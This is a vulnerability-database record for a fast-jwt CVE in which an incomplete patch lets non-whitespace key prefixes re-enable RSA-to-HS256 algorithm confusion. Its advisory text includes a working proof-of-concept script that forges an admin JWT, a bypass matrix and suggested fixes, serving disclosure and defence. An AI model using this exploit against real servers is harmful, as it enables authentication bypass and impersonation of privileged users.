{"schema":"threatline.record/2","record":{"id":"CVE-2026-107722","aliases":["GHSA-ww5h-9m49-7xx4"],"summary":"fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion","details":"### Summary\n\nThe fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is **incomplete**. It adds `key.trim()` to the PEM-detection path in `src/crypto.js`, but `String.prototype.trim()` only strips characters classified as whitespace by the ECMAScript specification. The subsequent `^`-anchored regex (`/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/`) still requires the PEM header at position 0 — so **any non-whitespace leading byte** (control chars, zero-width unicode, `#` comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the **exact same RSA→HS256 algorithm-confusion attack** the original CVE addressed is fully re-enabled with a slightly different leading byte.\n\n**Attack prerequisites are identical to CVE-2026-34950**: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).\n\n**Verified on fast-jwt@6.2.2 (latest as of 2026-04-23) with a 10-line PoC.**\n\n### Details\n\nPost-patch code (`src/crypto.js`, lines ~74-171 in `performDetectPublicKeyAlgorithms`):\n\n```js\nfunction performDetectPublicKeyAlgorithms(key) {\n    const trimmedKey = key.trim()  // <-- CVE-2026-34950 patch added this\n    if (publicKeyPemMatcher.test(trimmedKey)) {\n        // treat as RSA/EC public key\n        ...\n    }\n    // fall-through: treat as HMAC secret  <-- bug: reachable via non-whitespace prefix\n    ...\n}\nconst publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/\n```\n\n**The bug**: `String.prototype.trim()` only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the `^`-anchored regex fails, and execution falls through to the HMAC path with `key` being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.\n\nIdentical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).\n\n### PoC\n\n```js\n'use strict';\nconst { createHmac, generateKeyPairSync } = require('node:crypto');\nconst { createVerifier } = require('fast-jwt');\n\nconst { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });\nconst pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();\n\n// Attacker-controlled \"key\" content as loaded by the verifier\n// (models a realistic deployment: key with a leading metadata comment)\nconst key = '# some comment\\n' + pem;\n\nconst header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');\nconst payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url');\nconst sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url');\nconst forgedToken = header + '.' + payload + '.' + sig;\n\nconst verifier = createVerifier({ key });\nconsole.log('Forged token payload:', verifier(forgedToken));\nconsole.log('Package version:', require('fast-jwt/package.json').version);\n```\n\n**Observed output (2026-04-23, fresh npm install):**\n```\nForged token payload: { admin: true, sub: 'attacker' }\nPackage version: 6.2.2\n```\n\n### Full bypass matrix (all verified accepting a forged admin token)\n\n| Leading content | Accepted as admin? |\n|---|:-:|\n| `# some comment\\n` + PEM | ✅ BYPASS |\n| `U+0000` (NUL) + PEM | ✅ BYPASS |\n| `U+0001` (SOH) + PEM | ✅ BYPASS |\n| `U+0008` (BACKSPACE) + PEM | ✅ BYPASS |\n| `U+001B` (ESC, ANSI-color) + PEM | ✅ BYPASS |\n| `U+007F` (DEL) + PEM | ✅ BYPASS |\n| `U+200B` (ZWSP) + PEM | ✅ BYPASS |\n| `U+200D` (ZWJ) + PEM | ✅ BYPASS |\n| `HTTP/1.1 200 OK\\r\\n\\r\\n` + PEM | ✅ BYPASS |\n| PGP-wrapper text + PEM | ✅ BYPASS |\n| `.` + PEM | ✅ BYPASS |\n| `U+FEFF` (BOM) + PEM | ❌ correctly stripped by trim |\n\n### Defense matrix (which caller configs are vulnerable)\n\n| Caller config | Vulnerable? |\n|---|:-:|\n| `createVerifier({ key })` (no `algorithms` allowlist) | ✗ VULNERABLE |\n| `createVerifier({ key: asyncCallback })` | ✗ VULNERABLE |\n| `createVerifier({ key, algorithms: ['RS256'] })` | ✓ protected |\n| `createVerifier({ key, algorithms: ['HS256'] })` | ✗ VULNERABLE (attacker matches) |\n\n### Impact\n\n1. **Authentication bypass** — attacker forges arbitrary JWT claims (admin, tenant-id, user-id) accepted by any server using fast-jwt 6.2.x without an `algorithms` allowlist AND loading its verification key from a source that may contain non-whitespace prefix bytes.\n2. **Severity-parity with CVE-2026-34950** — attack chain, prerequisites, exploitation ease, and impact are identical; only the trigger byte differs. The fix addressed *one* trigger (whitespace) rather than the class (any surrounding content before `-----BEGIN`).\n3. **Broad fast-jwt deployment** — default JWT backend of `@fastify/jwt`; used by many Fastify-based Node.js APIs.\n\n### Suggested fix\n\n**Option A (minimal)** — locate the PEM block rather than anchoring on position 0:\n\n```js\nconst pemStart = trimmedKey.indexOf('-----BEGIN')\nif (pemStart !== -1 && publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... }\n```\n\n**Option B (strict, recommended)** — require the key to be exactly a PEM block:\n\n```js\nconst pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\\s\\S]+?-----END \\1?PUBLIC KEY-----/.exec(trimmedKey)\nif (pemMatch && pemMatch[0].trim() === trimmedKey.trim()) { /* valid PEM, no surrounding content */ }\n```\n\n**Option C (defense-in-depth, regardless of A/B)** — on the HMAC fallback path, reject any key that *contains* PEM markers:\n\n```js\nif (rawKey.includes('-----BEGIN') || rawKey.includes('-----END')) {\n    throw new Error('Key appears to be a PEM-encoded asymmetric key but did not match expected format; refusing HMAC fallback')\n}\n```\n\n### Test coverage gap\n\n`test/crypto.spec.js` post-CVE-2026-34950 only tests whitespace padding (`['\\n', ' ', ' \\n', '\\n ', '\\t\\t']`). Add coverage for:\n- Control bytes (U+0000-U+001F, U+007F)\n- Zero-width Unicode (U+200B, U+200C, U+200D, U+180E)\n- Comment prefixes (`#`, `//`, `;`, `--`)\n- Mixed-content wrappers (PGP blocks, HTTP headers)\n- Arbitrary binary prefix bytes\n\n### Credit\n\nReporter: DC INFOSEC / n0l3x — source-code review + end-to-end PoC verification.","categories":["Libraries & packages"],"product":"fast-jwt","vendor":"nearform","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-ww5h-9m49-7xx4","source_modified_at":"2026-10-08T22:02:08Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"fast-jwt"},"range":">= 6.2.0, <= 6.2.4"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-107722","source_modified_at":"2026-10-13T16:26:25.790Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"fast-jwt","vendor":"nearform","versions":[{"version":">= 6.2.0, < 6.3.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-ww5h-9m49-7xx4","source_modified_at":"2026-10-08T22:15:05.895384054Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"fast-jwt","ecosystem":"npm","purl":"pkg:npm/fast-jwt"},"ranges":[{"type":"SEMVER","events":[{"introduced":"6.2.0"},{"fixed":"6.3.0"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-ww5h-9m49-7xx4","source_modified_at":"2026-10-08T22:02:08Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"fast-jwt"},"version":"6.3.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-ww5h-9m49-7xx4","source_modified_at":"2026-10-08T22:15:05.895384054Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"fast-jwt","ecosystem":"npm","purl":"pkg:npm/fast-jwt"},"version":"6.3.0"}],"cvss":9.8,"severity":"Critical","kev":{"listed":false},"epss":{"probability":0.00272,"percentile":0.18534,"score_date":"2026-10-23"},"published_at":"2026-10-08T21:49:55.888Z","modified_at":"2026-10-13T16:26:25.790Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-ww5h-9m49-7xx4","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-08T22:02:08Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-107722","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-13T16:26:25.790Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-ww5h-9m49-7xx4","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-08T22:15:05.895384054Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107722","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4","tags":["exploit"]},{"source":"CVE List","url":"https://github.com/nearform/fast-jwt/pull/632","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/nearform/fast-jwt/releases/tag/v6.3.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-ww5h-9m49-7xx4","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"total","assessed_at":"2026-10-13T16:26:04.072306Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-13T16:26:25.790Z","content_hash":"4464526038c19b6591f16271baf685f1e3f45598ef96ac6c3ae1e16f3bb5ff12"}}
